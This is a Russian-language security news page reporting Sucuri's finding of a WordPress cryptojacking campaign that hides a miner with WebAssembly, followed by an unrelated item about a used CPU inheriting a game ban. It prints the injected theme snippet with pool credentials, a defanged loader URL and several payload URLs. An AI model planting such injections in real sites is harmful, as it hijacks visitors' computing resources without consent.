Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).
Подпишитесь на новости

Покупка подержанного процессора может обернуться баном в игре

Процессор исправен, компьютер работает, а в игру не пускают. Геймер из Германии рассказал, что после покупки подержанного AMD Ryzen 7 5800X3D столкнулся с блокировкой в Valorant. Вместе с железом ему, судя по ответу поддержки, досталось наследство от предыдущего владельца — бан античита.

Пользователь After-Cartoonist-196 описал ситуацию на Reddit. По его словам, процессор он купил 21 сентября, но поддержка Riot сообщила: его идентификатор находился в чёрном списке Vanguard ещё с 12 августа.

Причиной якобы стали читы, которыми пользовался прежний хозяин. До замены CPU Valorant запускалась нормально. После обновления железа игрока сразу выкинуло. Сам Ryzen при этом, как утверждает покупатель, работает без проблем, блокировка не означает физическую неисправность процессора.

В обновлении поста автор сообщил ещё более неприятную подробность: по его словам, в чёрный список попали и другие компоненты компьютера, включая материнскую плату и накопитель. Поддержка, утверждает он, отказалась снимать аппаратную блокировку. Независимого подтверждения этих деталей в публикации нет.

История показывает неудобную сторону покупки игрового железа с рук: исправность комплектующей и доступ к конкретной игре — разные вещи.

Проверка температур и стабильности может пройти идеально, а чужая история нарушений обнаружится только при запуске античита. Такой вот бонус к апгрейду, который в объявлении обычно не указывают.

RSS: Новости на портале Anti-Malware.ru